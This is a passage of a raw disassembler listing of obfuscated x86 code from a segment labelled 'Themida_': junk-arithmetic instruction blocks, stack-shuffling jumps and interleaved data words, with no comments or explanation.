		dd 0EF83752Bh, 5DBA52FFh, 835F782Dh, 0C8904ECh,	5068B924h
		dd 0E98171BBh, 61AE1B44h, 0E9814949h, 0C0E7D629h, 8159CA31h
		dd 5D73A3EAh, 0E54BE910h, 0B850FFFFh, 48CB0E08h, 0E907E8C1h
		dd 0FFFF9910h, 0D9EAE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_541D0E:				; CODE XREF: Themida_:00539EF0j
		or	esi, 6EC71C27h
		and	esi, 6F1755E4h
		xor	esi, 1B60136Ch
		xor	esi, 7477474Ch
		add	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_53DF88
; ---------------------------------------------------------------------------
		dd 0C0B8B252h, 0D2F608EAh, 0C005E2C0h, 0C28006EAh, 0E9D1886Ch
		dd 0FFFF9B62h, 74FF565Ah, 0E95E0424h, 0FFFF712Dh, 8103EEC1h
		dd 0C7755BC6h, 0EEC14637h, 16EE8108h, 8100462Ch, 0AD1FD6EBh
		dd 0E9F3017Ch, 0FFFFD856h, 4BF57h, 0F4E90000h, 57FFFF92h
		dd 0FFFBA9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_541D89:				; CODE XREF: Themida_:0053D156j
		pop	edx
		push	ecx
		mov	ecx, esp
		jmp	loc_53A909
; ---------------------------------------------------------------------------
		dw 335Bh
		dd 0ECE9240Ch
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_541D9B:				; CODE XREF: Themida_:00540E2Bj
		mov	ebp, 31C258ECh
		shl	ebp, 5
		jmp	loc_53D791
; ---------------------------------------------------------------------------
		dd 34FFBB53h, 0A5E9549Ch, 66FFFFC4h, 0E99CC83Bh, 0FFFF5006h
		dd 6824048Bh, 46D3h, 68240C89h,	7B91h, 50242489h, 4B8h
		dd 24440100h, 4CE95804h, 6600000Dh, 5624048Bh, 0C82E954h
		dd 248B0000h, 68C33124h, 6F14h,	0E9242C89h, 0FFFF7F99h
		dd 5124248Bh, 5E5437B9h, 59CE0978h, 0BF57DEF7h,	7497390Fh
		dd 4305EF81h, 0EF811A3Ch, 1AE8420Dh, 966DC781h,	0FE317A26h
		dd 5F2434FFh, 0FFC443E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_541E2D:				; CODE XREF: Themida_:0053E917j
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_541C08
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 5Fh
		dd 83FFFFEFh, 0D3E904C4h, 81FFFFADh, 4C4h, 24048F00h, 2434FF5Ch
		dd 81240C8Bh, 4C4h, 0EC815200h,	4, 0E01E9h, 0BED8000h
		dd 0E959EB88h, 0FFFF5B2Fh
; ---------------------------------------------------------------------------

loc_541E74:				; CODE XREF: Themida_:0053E431j
		sub	[edi+20h], eax
		pop	eax

loc_541E78:				; CODE XREF: Themida_:00537CF4j
					; Themida_:005425ADj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	7D38h
		mov	[esp], eax
		push	535Dh
		push	esp
		jmp	loc_542C10
; ---------------------------------------------------------------------------
		db 66h,	89h, 1Ch
		dd 28A0B724h, 2C5B66F8h, 2434FF59h, 9A9DE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_541EAA:				; CODE XREF: Themida_:00537D3Bj
		pop	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		xchg	edi, [edx+38h]
		jmp	loc_5384DD
; ---------------------------------------------------------------------------

loc_541EB8:				; CODE XREF: Themida_:0053841Bj
		mov	edx, 1
		push	4FA0h
		mov	[esp], edx
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_539D0B
; ---------------------------------------------------------------------------
		db 66h
		dd 50240C8Bh, 24048B54h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	50F3h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2BDB5C02h
		mov	esi, 0D424A402h
		add	esi, 21CD2A08h
		add	esi, edx
		sub	esi, 21CD2A08h
		jmp	loc_539909
; ---------------------------------------------------------------------------

loc_541F1C:				; CODE XREF: Themida_:00537F33j
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_53B08A
; ---------------------------------------------------------------------------
		db 5Fh
		dd 15EF289h, 24148BD6h,	8304C483h, 78E902EEh, 8100000Fh
		dd 4EFh, 243C8700h, 8924248Bh, 3EE9243Ch, 28FFFFF7h, 0D8285AD0h
		dd 0EC81C904h, 2, 0FF612FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_541F71:				; CODE XREF: Themida_:0053CCA0j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_542666
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFCE04E9h, 24048BFFh, 0FF8A0FE9h, 0EE0158FFh, 8AEE815Dh
		dd 817D5874h, 0A8533DEEh, 81C60126h, 0A8533DC6h, 89A4E926h
		dd 1489FFFFh, 81E28924h, 4C2h, 4C28300h, 5C241487h, 5E08950h
		dd 4, 405h, 24048700h, 0FFFE11E9h, 240C89FFh, 47083BB9h
		dd 0E9CE2971h, 0FFFFCB51h, 0E95BFC00h, 0EB0h, 0E99CC83Bh
		dd 0FFFF4DCAh, 240C8B66h, 8904EC83h, 0E189240Ch, 4C181h
		dd 0B8500000h, 2, 0FFDE1DE9h, 0D4E95EFFh, 50FFFF65h, 0C909585Ah
		dd 0C88E9h
		db 0
; ---------------------------------------------------------------------------

loc_542025:				; CODE XREF: Themida_:005382DFj
		sub	ebx, 0E4029EAh
		push	ecx
		mov	ecx, 5EE252Ah
		jmp	loc_53D258
; ---------------------------------------------------------------------------

loc_542036:				; CODE XREF: Themida_:00539CC9j
		push	edx
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		push	77BA565Fh
		jmp	loc_539803
; ---------------------------------------------------------------------------

loc_54205D:				; CODE XREF: Themida_:0053F922j
		sub	al, bl
		sub	al, 69h
		jmp	loc_53B0E2
; ---------------------------------------------------------------------------

loc_542066:				; CODE XREF: Themida_:0053F208j
		mov	esi, 74E71105h
		shl	esi, 2
		xor	esi, 9714A56h
		add	esi, 3FBC0BADh
		mov	ecx, esi
		pop	esi
		xor	ecx, edx
		jmp	loc_53D4CF
; ---------------------------------------------------------------------------
		dd 8B241487h, 0F9E92424h, 0BFFFFFFBh, 4, 3C8BFA29h, 7D746824h
		dd 34890000h, 81E68924h, 4C6h, 0E9575500h, 0FFFF7431h
		dd 0C8C1ED81h, 0A6E992B9h, 81FFFFFBh, 4ECh, 243C8900h
		dd 5153E789h, 0AB35DFB9h, 0DEFFBB63h, 0EB8109F5h, 0CCD3219h
		dd 15E9CB01h, 89FFFFB0h, 49E92424h, 68FFFFDAh, 16C3h, 0BD242C89h
		dd 7D3135C7h, 12AAF581h, 0D5F72386h, 0FF5DC8E9h, 0B4BE56FFh
		dd 0E90E9061h, 0FFFFA8D0h, 9AF580h, 0D80059E8h,	0ECE90E2Ch
		dd 81FFFFA4h, 4ECh, 24348900h, 0FF736FE9h, 0E6815AFFh
		dd 74F531FCh, 0A74FEE81h, 0E5E9000Dh, 57FFFFABh, 0E0D0DCBFh
		dd 5FFA0108h, 815AD689h, 0A260CCEEh, 16EE8123h,	0C16A9E25h
		dd 814E06E6h, 0E1AB46C6h, 5EF0290Fh, 24348150h,	572F7837h
		dd 37F18159h, 8B572F78h, 0C4812404h, 4,	159C801h, 98BF57D8h
		dd 295F6634h, 93685FF8h, 0E9000049h, 0FFFF96C1h, 8704C183h
		dd 15C240Ch, 503181C1h,	593D616Fh, 52243C8Bh, 0C281E289h
		dd 4, 0FFA763E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5421B1:				; CODE XREF: Themida_:00542263j
		pop	edx
		jmp	loc_542F4B
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8904ECh, 2E56824h,	0A1E965BEh, 5BFFFFC7h, 0FF881EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5421CD:				; CODE XREF: Themida_:00538F16j
		mov	esp, [esp]
		push	edi
		push	200000h
		mov	edi, [esp]
		jmp	loc_53C5FC
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 0F665C24h, 9C2404B3h, 8CEE9h
		db 0
; ---------------------------------------------------------------------------

loc_5421ED:				; CODE XREF: Themida_:00542D75j
		add	edi, 7FFB7791h
		jmp	loc_540AB6
; ---------------------------------------------------------------------------
		dd 240C8B66h, 6A0C68h, 241C8900h, 9394E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54220A:				; CODE XREF: Themida_:00538072j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_5399EB
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 70945CDh, 0FFE635E9h, 3C895CFFh, 0CC80E924h,	73E9FFFFh
		dd 0ADFFFF4Bh, 4EC81h, 14890000h, 86E95724h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54225F:				; CODE XREF: Themida_:005388DCj
		mov	edx, ecx
		mov	ebp, edx
		jmp	loc_5421B1
; ---------------------------------------------------------------------------
		dd 8103EAC1h, 5B7637EAh, 5EAC15Ah, 0C281DAF7h, 532C553h
		dd 335AD729h, 3C31243Ch, 243C3324h, 0FFEEACE9h,	0FFD829FFh
		dd 835B2434h, 0DEE904C4h, 0E9FFFFE0h, 0FFFF4B22h, 74ACE381h
		dd 0C3815FD8h, 36F3FB0Fh, 15BDF01h, 0FF515FF9h,	59042474h
		dd 8B24048Fh, 0CD22424h, 0FBE99C24h
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5422C7:				; CODE XREF: Themida_:0053EBA4j
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_53ABB3
; ---------------------------------------------------------------------------
		dd 0ED81C501h, 322F273Eh, 692E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5422E2:				; CODE XREF: Themida_:0053C9D7j
		push	6B9Ch
		mov	[esp], edi
		mov	edi, 7697646h
		sub	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	eax, eax
		jnz	loc_53F21E
		push	357Fh
		mov	[esp], edi
		mov	edi, 10CD6E9Ah
		jmp	loc_539436
; ---------------------------------------------------------------------------
		db 28h,	0F8h, 2Ch
		dd 0B6B75354h, 1AE9D7F6h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_542323:				; CODE XREF: Themida_:0054256Dj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, ebx
		jmp	loc_539354
; ---------------------------------------------------------------------------
		db 89h
		dd 0E0892404h, 7DF068h,	24148900h, 0FF74B0E9h, 241489FFh
		dd 0AA68AF68h, 94055A68h, 2D48A42Fh, 40F0655Fh,	0B951D029h
		dd 59387EA9h, 0C106E1C1h, 0E98107E9h, 1B2537DEh, 5DE9C181h
		dd 0C8015B79h, 2F942D59h, 34FF48A4h, 0E2AFE924h, 77FFFFFFh
		dd 59669D1Ch, 9C241CD3h, 0FFAEAEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5423A5:				; CODE XREF: Themida_:0053DA33j
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 21D27204h
		not	ebp
		not	ebp
		sub	ebp, 21D27200h
		jmp	loc_537F1C
; ---------------------------------------------------------------------------

loc_5423C7:				; CODE XREF: Themida_:0053FF87j
		add	ebx, eax
		jmp	loc_53D6B0
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 6678720Fh, 0FF8990E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5423D9:				; CODE XREF: Themida_:0053E09Cj
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		and	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_53859C
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 47F509DEh, 0C281F201h, 47F509DEh, 8124348Bh,	4C4h, 81C20100h
		dd 44231DEAh, 0CE1AE90Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_542416:				; CODE XREF: Themida_:00538E56j
		push	edx
		push	edi
		mov	edi, 433B37BCh
		push	esi
		mov	esi, 3F833C85h
		push	ebx
		mov	ebx, 4D2724ABh
		or	ebx, 3AC73814h
		or	ebx, 72E02F69h
		and	ebx, 550A4E3Dh
		not	ebx
		xchg	edx, ebx
		neg	edx
		xchg	edx, ebx
		jmp	loc_53A4DC
; ---------------------------------------------------------------------------
		dd 70425DBBh, 3EBC16Dh,	8103E3C1h, 3E7B8AF3h, 0B7BA5226h
		dd 95BEA74h, 0EB815AD3h, 5EC66E51h, 0FC7DEB81h,	0DD29A103h
		dd 0FF6F6AE9h, 5DE831FFh, 0B60DD0F7h, 5571A61Dh, 34552768h
		dd 564D5D1Ah, 7B4C5FBEh, 0FECE812Dh, 0F74B882Dh, 0EEC14ED6h
		dd 7204E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54249E:				; CODE XREF: Themida_:00538A50j
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 49FD5D26h
		push	esi
		mov	esi, ebp
		mov	ebx, esi
		jmp	loc_53AC41
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC832404h, 240C8904h, 0BE56E189h, 4, 7E37C181h, 0F1013BF5h
		dd 7E37E981h, 555E3BF5h, 4BB53h, 0DD890000h, 8AE9815Bh
		dd 0E90E9F6Eh, 0FFFF87CBh, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 248B243Ch, 0E184E924h, 0E7C1FFFFh, 3E7C102h,	0FF500CE9h
		dd 4C483FFh, 4244C31h, 0FF89C9E9h, 6856FDFFh, 10057FFEh
		dd 0D4E4E95Eh, 0C581FFFFh, 1992109Ah, 4D82C581h, 0EB01EAB7h
		dd 0FFE7AAE9h, 0A2BE56FFh, 31C4C0EEh, 0B8505EF5h, 73F65C7Ch
		dd 938222Dh, 5340357Dh,	0C601A3A2h, 81EE0158h, 4F771AEEh
		dd 0F9E95D55h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_542567:				; CODE XREF: Themida_:00537AA0j
		add	ebp, 4
		jmp	loc_542323
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 21A1649Bh, 2434335Dh, 33243431h, 8CE92434h, 8BFFFF53h
		dd 8B662424h, 89572404h, 4C781E7h, 55000000h, 0E9525051h
		dd 0FFFFD45Dh, 24048966h, 0FF87D2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5425A9:				; CODE XREF: Themida_:005409CDj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_541E78
		push	eax
		jmp	loc_53C84B
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0EF800000h, 762DE9FFh, 8950FFFFh, 405E0h, 4050000h
		dd 50000000h, 42474FFh,	0FF8A65E9h, 24048FFFh, 7B4505Ch
		dd 52E9DCF6h, 56FFFF78h, 0FB3C48BEh, 0D6F7460Ah, 5B2AC681h
		dd 0D6F74AFEh, 36E3C681h, 0F201BFBCh, 9B2AE95Eh, 0C481FFFFh
		dd 4, 5C8BE95Eh, 248BFFFFh, 0AF3EE924h,	0EC81FFFFh, 4
		dd 53241489h, 0E7C07CB7h, 0FFC78007h, 8058EF80h, 0FE886EF7h
		dd 83241C8Bh, 0CEFE04C4h, 0F621EE80h, 6B551DEh,	0F602E5C0h
		dd 0F2C580DDh, 8859EE30h, 24148BF5h, 404C483h, 8B8E96Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_542666:				; CODE XREF: Themida_:00541F80j
		push	4
		jmp	loc_541869
; ---------------------------------------------------------------------------
		dd 7D6D68h, 48F5400h, 0B9515324h, 2E416CD5h, 68h, 24048100h
		dd 65D223D4h, 0FFC905E9h, 9AF580FFh, 0FF5E37E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_542699:				; CODE XREF: Themida_:00542D8Ej
		mov	edx, ebp
		pop	ebp
		mov	edi, 78B02A03h
		xor	edi, edx
		pop	edx
		dec	edi
		sub	edi, 0FA922C3Dh
		sub	ebx, 530F470Fh
		add	ebx, edi
		add	ebx, 530F470Fh
		jmp	loc_53DE67
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 46FCE940h, 0C681FFFFh, 70F2583h, 0EE81CE29h,	70F2583h
		dd 81240C8Bh, 4C4h, 0D8D1E900h,	8B66FFFFh, 0EC812404h
		dd 4, 0FF8F38E9h, 58C201FFh, 94F2E952h,	9ABDFFFFh, 502F0E12h
		dd 3506CCB8h, 24BE5649h, 1715D64h, 53405EF0h, 72F63BBBh
		dd 5BD801C0h, 0E958C521h, 0FFFFBD6Dh
; ---------------------------------------------------------------------------

loc_542720:				; CODE XREF: Themida_:0053FBCCj
		mov	ecx, 280B0EF2h
		push	ecx
		jmp	loc_53A293
; ---------------------------------------------------------------------------
		db 83h
		dd 7AE904C4h, 68FFFFB3h, 16500355h, 0B811E959h,	1489FFFFh
		dd 5C37E924h, 3C87FFFFh, 73E95C24h, 81FFFF46h, 4E4F3DC6h
		dd 8BF7317Ch, 60E92434h, 5DFFFFC2h, 0DCFF581h, 0C5812B85h
		dd 42A3128Dh, 4AB0F581h, 0C5817158h, 88629178h,	2EE9EA89h
		dd 50FFFFC1h, 4B8h, 29C58100h, 15C2413h, 7BE3E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_542792:				; CODE XREF: Themida_:0053AFBDj
		sub	ebx, 299800E7h
		xor	ebx, 3EF5F09Dh
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	6913h
		mov	[esp], ebp
		push	4A3Fh
		mov	[esp], edx
		push	ecx
		mov	ecx, 1
		jmp	loc_540117
; ---------------------------------------------------------------------------

loc_5427CE:				; CODE XREF: Themida_:0053F44Fj
		pop	ebx
		jmp	loc_53FB0B
; ---------------------------------------------------------------------------

loc_5427D4:				; CODE XREF: Themida_:0054060Fj
		pop	eax
		jmp	loc_53F9AB
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 546E387Fh, 73ECF281h, 0E281057Dh, 4B0D6135h,	6111EA81h
		dd 0D3010A04h, 4C3835Ah, 5C241C87h, 4C181h, 0C1830000h
		dd 6F12E904h, 0DBBDFFFFh, 0E931137Dh, 0FFFFB723h, 78E9BE56h
		dd 65E979FEh, 58FFFFAFh, 0FF5543E9h, 243C89FFh,	0A8BFE950h
		dd 0EF81FFFFh, 0F3986D7Eh, 0BE9FD01h, 29FFFF46h, 0F8E7E9D6h
		dd 0F501FFFFh, 0FF8D2AE9h, 240C89FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_53B708
; ---------------------------------------------------------------------------

loc_542867:				; CODE XREF: Themida_:0053D77Fj
		mov	eax, ebx
		pop	ebx
		inc	eax
		add	eax, 0FB966568h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_53CF79
; ---------------------------------------------------------------------------
		dw 515Fh
		dd 0FFAA2BE9h, 0EC815AFFh, 2, 241C8966h, 1BF968h, 24048900h
		dd 4EC81h, 1C890000h, 0E9A7B724h, 0FFFFCF2Ch, 707565BEh
		dd 93BF577Ah, 2909433Ch, 93CCE9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5428CA:				; CODE XREF: Themida_:00537C68j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5429D1
; ---------------------------------------------------------------------------
		db 53h
		dd 0B652A6B3h, 5AF300FFh, 0FF5E9EE9h, 2DC829FFh, 54AB2E2Fh
		dd 0C36EE955h, 0C383FFFFh, 241C3304h, 0FF9E24E9h, 0C3E95CFFh
		dd 59FFFF44h, 0FF9628E9h, 66CA81FFh, 687D940Eh,	23EEh
		dd 0E9243489h, 0FFFFFFA0h, 9D1C77FFh, 14D25966h, 9BE99C24h
		dd 4BFFFF44h, 5FB968h, 0B981E900h, 0C89FFFFh, 0B5AB924h
		dd 0ED81272Bh, 527141AAh, 489DC581h, 0CD290C47h, 489DED81h
		dd 0C5810C47h, 527141AAh, 81240C8Bh, 4C4h, 8BE83100h, 0E956242Ch
		dd 0FFFFCC13h, 5A2434FFh, 0E9E18951h, 0FFFFB42Dh, 0E9242C87h
		dd 0FFFFA548h, 8104C483h, 4C3h,	4C38300h, 8904EC83h, 62E9241Ch
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_542993:				; CODE XREF: Themida_:0053B2FBj
		mov	[esp], ecx
		push	esp
		jmp	loc_541838
; ---------------------------------------------------------------------------
		dd 2B850h, 4AE90000h, 81FFFFFDh, 4C5h, 95E95700h, 81FFFF66h
		dd 0B5D63EF2h, 0EB8FE9F3h, 0E289FFFFh, 4C281h, 0C2830000h
		dd 24148704h, 0FFF42BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5429D1:				; CODE XREF: Themida_:005428CEj
		sub	ebx, edx
		pop	edx
		mov	eax, [ebx]
		pop	ebx
		jmp	loc_542E79
; ---------------------------------------------------------------------------
		dd 0F9308FB1h, 0DDF1805Bh, 0FFFEEAE9h, 5EF701FFh, 31243C33h
		dd 3C33243Ch, 24248B24h, 24048B66h, 4EC81h, 3C890000h
		dd 3C8B5424h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
		dd 60DC685Ch, 70E90000h, 0FFFF6Eh, 0C1805BD9h, 9EB2E938h
		dd 8358FFFFh, 0D7F704C4h, 6B3CF781h, 39E96670h,	57FFFFAAh
		dd 0FF6416E9h, 2434FFFFh, 8324348Bh, 0B0E904C4h, 66FFFF9Ch
		dd 8324048Bh, 348904ECh, 815E5424h, 4C6h, 0E9575000h, 0FFFFA567h
		dd 4C6815Eh, 0E9000000h, 0FFFFA0ECh, 0E904C483h, 0FFFF5834h
		dd 0E9240C87h, 0FFFF87D1h
; ---------------------------------------------------------------------------

loc_542A88:				; CODE XREF: Themida_:0053AC36j
		mov	esi, ebx
		pop	ebx
		add	edx, esi
		pop	esi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5394AB
; ---------------------------------------------------------------------------
		db 31h
		dd 1C33241Ch, 24248B24h, 0FFD0E9E9h, 4EF81FFh, 87000000h
		dd 1CE9243Ch, 0E9FFFF73h, 0FFFF4302h, 66E7E950h, 3433FFFFh
		dd 4A2CE924h, 1489FFFFh, 0A8B35324h, 0E9A3EB80h, 0FFFF80F6h
		dd 42474FFh, 24048F5Ah,	2404085Ch, 42D4E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_542AEE:				; CODE XREF: Themida_:00540AB1j
		mov	[esp], ebx
		mov	ebx, 376900A6h
		shr	ebx, 7
		xor	ebx, 6ED205h
		add	esi, ebx
		jmp	loc_5405B5
; ---------------------------------------------------------------------------

loc_542B06:				; CODE XREF: Themida_:00541576j
		mov	eax, 2A9A1B25h
		sub	esi, eax
		jmp	loc_53DD54
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFFAF20h, 72468h, 24148900h, 4359BE56h, 0B7E942CDh
		dd 8BFFFFD4h, 22E9240Ch
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_542B33:				; CODE XREF: Themida_:00540D19j
		mov	ebp, 2CA76794h
		xor	edi, ebp
		pop	ebp
		jmp	loc_53C41B
; ---------------------------------------------------------------------------
		dd 97E91AB3h, 4DFFFFD5h, 5DC5814Dh, 81646447h, 91E77E5h
		dd 8EC58171h, 8902A931h, 5075E9EBh, 0E95CFFFFh,	0FFFFCEF7h
; ---------------------------------------------------------------------------

loc_542B68:				; CODE XREF: Themida_:0053AD4Cj
		push	1A64h
		mov	[esp], edi
		push	esi
		mov	esi, 47038CCh
		jmp	loc_539553
; ---------------------------------------------------------------------------

loc_542B7B:				; CODE XREF: Themida_:0053F22Bj
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		push	ebx
		mov	ebx, 1BD33C58h
		mov	ecx, 1BD33C5Ch
		jmp	loc_53B5BC
; ---------------------------------------------------------------------------
		db 0ADh, 0E9h, 0FBh
		dd 81FFFF74h, 59706AC2h, 8AF2810Dh, 424B401Fh, 5907C281h
		dd 0E2E98152h, 68FFFF56h, 1F1Bh, 0B7241C89h, 0E9C7FE70h
		dd 0FFFFAA62h, 405h, 40500h, 0FF500000h, 0E9042474h, 0FFFF8B1Eh
; ---------------------------------------------------------------------------

loc_542BD8:				; CODE XREF: Themida_:00540FC8j
		xor	esi, [esp]
		jmp	loc_53F726
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 0E972B624h, 0FFFFC3E5h
; ---------------------------------------------------------------------------

loc_542BF0:				; CODE XREF: Themida_:00539C1Aj
		and	ebp, 78875EBBh
		jmp	loc_53D9AD
; ---------------------------------------------------------------------------

loc_542BFB:				; CODE XREF: Themida_:0053D505j
		or	ebp, 2AFD71A9h
		add	ebp, 7EA52416h
		sub	ecx, ebp
		pop	ebp
		inc	ecx
		jmp	loc_540A86
; ---------------------------------------------------------------------------

loc_542C10:				; CODE XREF: Themida_:00541E90j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_538431
; ---------------------------------------------------------------------------

loc_542C1D:				; CODE XREF: Themida_:005411C1j
		push	421Fh
		mov	[esp], edx
		mov	edx, 400h
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_538600
; ---------------------------------------------------------------------------

loc_542C34:				; CODE XREF: Themida_:0053F6ABj
		pop	ebx
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		jmp	loc_53F763
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Eh,	0FF443FE9h, 4C381FFh, 81000000h
		dd 4ECh, 24348900h, 0E9F4E952h,	2489FFFFh, 4BB5324h, 1000000h
		dd 5B04245Ch, 0FF6BCEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_542C7D:				; CODE XREF: Themida_:005406E3j
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1
		jmp	loc_53CC4F
; ---------------------------------------------------------------------------

loc_542C97:				; CODE XREF: Themida_:0053EBBEj
		push	eax
		mov	eax, 4
		jmp	loc_5401A2
; ---------------------------------------------------------------------------
		dw 6A04h
		dd 0C800572Ch, 0FFD6B4E9h, 0FE840FFFh, 83FFFFA1h, 6F6804ECh
		dd 8900000Bh, 4832424h,	48F0424h, 586A6824h, 34890000h
		dd 8FE95624h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_542CD3:				; CODE XREF: Themida_:0053A9DEj
		add	ebp, ecx
		pop	ecx
		push	eax
		jmp	loc_53A1EA
; ---------------------------------------------------------------------------
		dd 0CF150ABEh, 386D685Eh, 77E90000h, 81FFFFAAh,	8132C5E5h
		dd 4EC8172h, 0E9000000h, 0FFFF5A97h, 0B753D6B2h, 0BFE95069h
		dd 1FFFF7Fh, 70EB81D3h,	0E908B935h, 0FFFF6F79h,	0D36FE956h
		dd 86BAFFFFh, 294D1977h, 0EB815AD3h, 1A7B00D0h,	1C8BDE89h
		dd 4C48124h, 81000000h,	0CD73DBC6h, 69B705EFh, 0F0016E39h
		dd 0FFA151E9h, 243487FFh, 2424895Ch, 4240483h, 4BA525Fh
		dd 0E9000000h, 0FFFFBA96h, 4C0835Bh, 0FF5FC0E9h, 5FFB01FFh
		dd 4EB81h, 0E9530000h, 0FFFFDEFAh
; ---------------------------------------------------------------------------

loc_542D74:				; CODE XREF: Themida_:0053A30Bj
		dec	edi
		jmp	loc_5421ED
; ---------------------------------------------------------------------------

loc_542D7A:				; CODE XREF: Themida_:0053A316j
		xor	ebp, 113F27D8h
		shr	ebp, 1
		and	ebp, 1BCB2F68h
		sub	ebp, 0E557CCC7h
		jmp	loc_542699
; ---------------------------------------------------------------------------

loc_542D93:				; CODE XREF: Themida_:0053D7DBj
		add	esi, 43311274h
		dec	esi
		add	esi, 190F654Fh
		dec	esi
		add	esi, 54EE211Dh
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5390F6
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 44A4h, 0E9241C89h, 0FFFFD3F6h
; ---------------------------------------------------------------------------

loc_542DC8:				; CODE XREF: Themida_:0053A941j
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5396E0
; ---------------------------------------------------------------------------

